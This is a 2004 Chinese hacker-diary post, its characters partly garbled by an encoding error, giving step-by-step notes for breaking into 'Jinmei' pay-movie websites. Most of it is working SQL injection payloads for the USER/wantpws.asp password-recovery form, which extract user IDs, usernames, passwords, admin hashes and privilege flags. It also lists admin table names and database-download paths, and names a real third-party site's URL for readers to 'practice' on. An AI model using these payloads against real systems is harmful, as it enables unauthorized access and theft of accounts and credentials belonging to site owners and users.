金梅電影系統(tǒng)破解筆記（破解率80%以上）  
從我在265.com的黑客日記本中拷貝出，絕對(duì)珍藏?。。。。。。?！  
如果以后有機(jī)會(huì)，我會(huì)公開(kāi)我的日記  

金梅3幾乎不存在了，如果有可以用  

黃金眼（上篇14個(gè)后臺(tái)那篇有上傳的注冊(cè)版）  
不會(huì)用的 可以看 怪狗的 黃金眼動(dòng)畫(huà)教程  

或者 臭要飯的 寫(xiě)的 絕世猜解SQL注入器（這可是個(gè)好東東?。?nbsp; 



下面的東西有些概要，基本上是看  
黑客x檔案 4期 和 5期的 總結(jié)出的筆記  
針對(duì)現(xiàn)在網(wǎng)上的所有金梅版本 好象都有效?。。。。?！  
不過(guò)那些收費(fèi)站都是騙人的，里面全是盜連，壞連?。。。。。。。。?nbsp; 
我破解了n個(gè)站點(diǎn)，只有幾個(gè)是好的  

特別注意?。。。。耗切┐a都是在USER/wantpws.asp 頁(yè)注入的  

你注冊(cè)用戶名： lamianbu  
密碼提示問(wèn)題： lamianbu  
密友提示答案：（填入方法1和方法2中的代碼）  

其實(shí)，前兩項(xiàng)，和第三項(xiàng)的開(kāi)頭 隨便填的，不相同也行  
我都填a的  

還要注意?。。?！  
返回頁(yè)“你的密碼是”后面其實(shí)不是密碼?。。。。。。。。?！  

比如方法2 前三次分別得到的是  

id（沒(méi)用）  
用戶名（登陸用）  
密碼（登陸用）  



金梅4SQL注入  

心情：　　 2004-5-14 21:58:26 　 晴朗 　 星期五　　 收藏：    


login.asp    
Register    
高級(jí)管理員登錄. 用 名：, 密 碼：,    


Register高級(jí)管理員登錄. 用 名：, 密 碼：,    



USER/wantpws.asp    
如果你忘記了自己的密碼    
如果你忘記了自己的密碼，請(qǐng)?jiān)谌缦卤韱卫镙斎肽愕拿艽a提示信      
息！. 你注冊(cè)用戶名： 密碼提示問(wèn)題： 密友提示答案：. 返回首      
頁(yè).      


方法1    

得注冊(cè)用戶名：    
lamianbu 'union select userid from users where oklook=3 or '0    

oklook=x    
0游1普2白3黃4鉆（4手5鉆）    

得密碼（可能不對(duì)應(yīng)，所以推薦方法2）：    
注冊(cè)用戶名處填 用戶名' or '1=1    



方法2    

得用戶id為xxx：    
lamianbu 'union select id from users where oklook=3 or '0    

得id對(duì)應(yīng)用戶名：    
lamianbu 'union select userid from users where id=xxx or '0    

得id對(duì)應(yīng)密碼：    
lamianbu 'union select password from users where id=xxx or '0    


得管理員用戶名：    
lamianbu 'union select name from password where id>=1 or '0    

得管理員密碼：（金梅4有md5加密，看到的是16位亂碼）  
lamianbu 'union select pwd from password where id>=1 or '0    

表名：金梅4為：fdg85675fd    
會(huì)員版為：password    
有些版本為：okwiantgo    

驗(yàn)證管理員權(quán)限：    
lamianbu 'union select flag from password where id>=1    
返回1超，2高，3初，4無(wú)    

login.asp    
findaccount.asp    
構(gòu)造一個(gè)變絕對(duì)路徑    
findaccount.asp?name=xxx&pwd=xxx    


網(wǎng)際快車(chē)得數(shù)據(jù)庫(kù)：    
movie/admin9988.asp    
金梅4為：data/admin2000.asp 或 data/admin2002.asp    
下載后改為admin9988.mdb    
拿這頁(yè)練練手啊  
破解出 黃金帳號(hào)和密碼 請(qǐng)不要 修改和公布（后來(lái)人也要練手?。?nbsp; 
登陸進(jìn)去 記得走時(shí)要退出登陸 （一個(gè)帳號(hào)不能幾人同時(shí)用的）  
http://www.westedu.org/mov/USER/wantpws.asp  
更多金梅去 google 找  

實(shí)際上金梅系統(tǒng)沒(méi)有這頁(yè)也可以  
構(gòu)造出同版本的類(lèi)似頁(yè)進(jìn)行注入  

最新評(píng)論